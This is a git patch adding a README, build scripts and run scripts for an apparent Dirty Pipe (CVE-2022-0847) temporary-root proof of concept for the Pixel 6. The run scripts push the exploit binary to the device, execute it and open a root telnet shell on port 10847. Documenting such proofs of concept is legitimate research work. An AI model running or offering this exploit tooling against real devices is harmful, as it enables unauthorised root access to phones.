From 168f60d980f42de01bf02ea6a04f5db008f524d8 Mon Sep 17 00:00:00 2001 From: polygraphene Date: Thu, 24 Mar 2022 14:13:54 +0900 Subject: [PATCH] Add README.md and scripts. --- Makefile | 8 ++- README.md | 42 +++++++++++++ mymod/build-script-patch.patch | 109 +++++++++++++++++++++++++++++++++ release.sh | 18 ++++++ run.bat | 11 ++++ run.sh | 12 ++++ screenshot1.png | Bin 0 -> 39085 bytes startup-root | 4 +- 8 files changed, 200 insertions(+), 4 deletions(-) create mode 100644 README.md create mode 100644 mymod/build-script-patch.patch create mode 100755 release.sh create mode 100644 run.bat create mode 100755 run.sh create mode 100644 screenshot1.png diff --git a/Makefile b/Makefile index a3e2d63..87330e1 100644 --- a/Makefile +++ b/Makefile @@ -2,13 +2,14 @@ CC=aarch64-linux-android31-clang CXX=aarch64-linux-android31-clang++ STRIP=llvm-strip CFLAGS=-O2 -ADB=adbm +ADB=adb MYMOD_COPY=../../p6/kernel/out/android-gs-pixel-5.10/dist/mymod.ko D=/data/local/tmp LI=/system/lib/libldacBT_enc.so OBJS=dirtypipe-android.o stage1.o stage2-payload-include.S +VERSION=1.0.0 -build: dirtypipe-android +build: dirtypipe-android mymod.ko dirtypipe-android: dirtypipe-android.o Makefile stage1.o stage2-payload-include.S stage2-payload $(CC) $(CFLAGS) -Wall -o $@ dirtypipe-android.o stage1.o stage2-payload-include.S @@ -66,3 +67,6 @@ install: dirtypipe-android startup-root magisk/busybox run: install $(ADB) shell $(D)/dirtypipe-android +release: build + ./release.sh $(VERSION) + diff --git a/README.md b/README.md new file mode 100644 index 0000000..c44634b --- /dev/null +++ b/README.md @@ -0,0 +1,42 @@ +# DirtyPipe for Android +Dirty Pipe (CVE-2022-0847) temporary root PoC for Android. + +# Targets +Currently only run on Pixel 6 with security patch level 2022-02-05. +Don't use on other devices or other versions. It must crash (reboot). + +# How to use +1. Download binary from release page. +2. Setup adb (android platform tools). +3. Launch run.bat (For Windows) or run.sh (For Linux/Mac) + - If you get `'adb' is not recognized ...` errors, check to add adb to PATH. +4. You now get temporary root shell by telnet 10847 + +![Screenshot](/screenshot1.png) + +# How to build +1. Install Android NDK +2. Set PATH for aarch64-linux-android31-clang + - $ export PATH=$PATH:$ANDROID\_NDK/toolchains/llvm/prebuilt/linux-x86\_64/bin +3. Run make + - $ make + +# How to build kernel module +1. Download Pixel 6 kernel source. [Link](https://source.android.com/setup/build/building-kernels) +2. Put mymod directory on kernel/private/google-modules/ +3. Apply mymod/build-script-patch.patch to kernel/private/gs-google +4. Run build script + - # For first build + - $ LTO=thin ./build/build.sh + - # For faster rebuild (skip full rebuild) + - $ SKIP\_MRPROPER=1 SKIP\_DEFCONFIG=1 LTO=thin ./build/build.sh + +# Future work +- Stop using insecure telnet +- Make apk +- Install Magisk +- Add device support + +# Credits +- https://dirtypipe.cm4all.com/ + diff --git a/mymod/build-script-patch.patch b/mymod/build-script-patch.patch new file mode 100644 index 0000000..ae625c2 --- /dev/null +++ b/mymod/build-script-patch.patch @@ -0,0 +1,109 @@ +diff --git a/build.config.slider b/build.config.slider +index 595b8d75d11a..fb32e8fabe86 100644 +--- a/build.config.slider ++++ b/build.config.slider +@@ -2,13 +2,16 @@ + + MAKE_GOALS="$MAKE_GOALS + modules +-google/gs101-a0.dtb +-google/gs101-b0.dtb +-google/dtbo.img +-google/gs101-dpm-eng.dtbo +-google/gs101-dpm-user.dtbo +-google/gs101-dpm-userdebug.dtbo + " ++MAKE_GOALS="modules" ++ ++#google/gs101-a0.dtb ++#google/gs101-b0.dtb ++#google/dtbo.img ++#google/gs101-dpm-eng.dtbo ++#google/gs101-dpm-user.dtbo ++#google/gs101-dpm-userdebug.dtbo ++#" + + FILES=" + arch/arm64/boot/dts/google/gs101-a0.dtb +@@ -18,12 +21,13 @@ arch/arm64/boot/dts/google/gs101-dpm-eng.dtbo + arch/arm64/boot/dts/google/gs101-dpm-user.dtbo + arch/arm64/boot/dts/google/gs101-dpm-userdebug.dtbo + " ++FILES="" + +-if [ -z "$MIXED_BUILD" ]; then +-FILES="$FILES +-$DEVICE_KERNEL_FILES +-" +-fi ++#if [ -z "$MIXED_BUILD" ]; then ++#FILES="$FILES ++#$DEVICE_KERNEL_FILES ++#" ++#fi + + MODULES_LIST=${KERNEL_DIR}/vendor_boot_modules.slider + +@@ -58,3 +62,16 @@ private/google-modules/power/reset + private/google-modules/bluetooth/broadcom + private/google-modules/nfc + " ++EXT_MODULES=" ++private/google-modules/mymod ++" ++ ++POST_DEFCONFIG_CMDS="update_debug_config" ++function update_debug_config() { ++ ${KERNEL_DIR}/scripts/config --file ${OUT_DIR}/.config \ ++ --set-str CONFIG_LOCALVERSION "-g0d8fb02914e6-ab8042715" \ ++ -e CFI \ ++ -e CFI_CLANG ++ (cd ${OUT_DIR} && \ ++ make O=${OUT_DIR} $archsubarch CC=${CC} CROSS_COMPILE=${CROSS_COMPILE} olddefconfig) ++} +diff --git a/scripts/setlocalversion b/scripts/setlocalversion +index 3f8a8ee14b10..31e71a2a9640 100755 +--- a/scripts/setlocalversion ++++ b/scripts/setlocalversion +@@ -53,6 +53,8 @@ scm_version() + { + local short + short=false ++ echo "g0d8fb02914e6" ++ return + + cd "$srctree" + if test -e .scmversion; then +@@ -77,7 +79,7 @@ scm_version() + # If only the short version is requested, don't bother + # running further git commands + if $short; then +- echo "+" ++ echo "" + return + fi + # If we are past a tagged commit (like +@@ -198,11 +200,13 @@ fi + + # CONFIG_LOCALVERSION and LOCALVERSION (if set) + res="${res}${CONFIG_LOCALVERSION}${LOCALVERSION}" ++res="-g0d8fb02914e6-ab8042715" + + # scm version string if not at a tagged commit + if test "$CONFIG_LOCALVERSION_AUTO" = "y"; then + # full scm version string +- res="$res$(scm_version)" ++ #res="$res$(scm_version)" ++ res="$res" + else + # append a plus sign if the repository is not in a clean + # annotated or signed tagged state (as git describe only +@@ -210,7 +214,7 @@ else + # LOCALVERSION= is not specified + if test "${LOCALVERSION+set}" != "set"; then + scm=$(scm_version --short) +- res="$res${scm:++}" ++ #res="$res${scm:++}" + fi + fi + diff --git a/release.sh b/release.sh new file mode 100755 index 0000000..5175338 --- /dev/null +++ b/release.sh @@ -0,0 +1,18 @@ +#!/bin/sh +set -e + +version=$1 +dname="dirtypipe-android-$1" +dir="dist/$dname" + +mkdir dist/ +mkdir "$dir" + +cp dirtypipe-android startup-root run.sh run.bat "$dir" + +mkdir "$dir"/magisk +cp magisk/busybox "$dir"/magisk/ + +cd dist/ +zip -r "$dname".zip "$dname" + diff --git a/run.bat b/run.bat new file mode 100644 index 0000000..4043db1 --- /dev/null +++ b/run.bat @@ -0,0 +1,11 @@ +@echo off + +set dir=/data/local/tmp +set adb=adb -d + +%adb% push dirtypipe-android startup-root magisk/busybox %dir% +%adb% shell chmod 755 %dir%/dirtypipe-android %dir%/startup-root %dir%/busybox +%adb% shell %dir%/dirtypipe-android +%adb% shell sleep 1 +%adb% shell %dir%/busybox telnet 127.0.0.1 10847 + diff --git a/run.sh b/run.sh new file mode 100755 index 0000000..d38f029 --- /dev/null +++ b/run.sh @@ -0,0 +1,12 @@ +#!/bin/sh +set -e + +dir=/data/local/tmp +adb=${adb:-"adb"} + +$adb push dirtypipe-android startup-root magisk/busybox ${dir} +$adb shell chmod 755 ${dir}/dirtypipe-android ${dir}/startup-root ${dir}/busybox +$adb shell ${dir}/dirtypipe-android +$adb shell sleep 1 +$adb shell ${dir}/busybox telnet 127.0.0.1 10847 + diff --git a/screenshot1.png b/screenshot1.png new file mode 100644 index 0000000000000000000000000000000000000000..314329cdaa7580ab114b28fc6293da90be1d819f GIT binary patch literal 39085 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 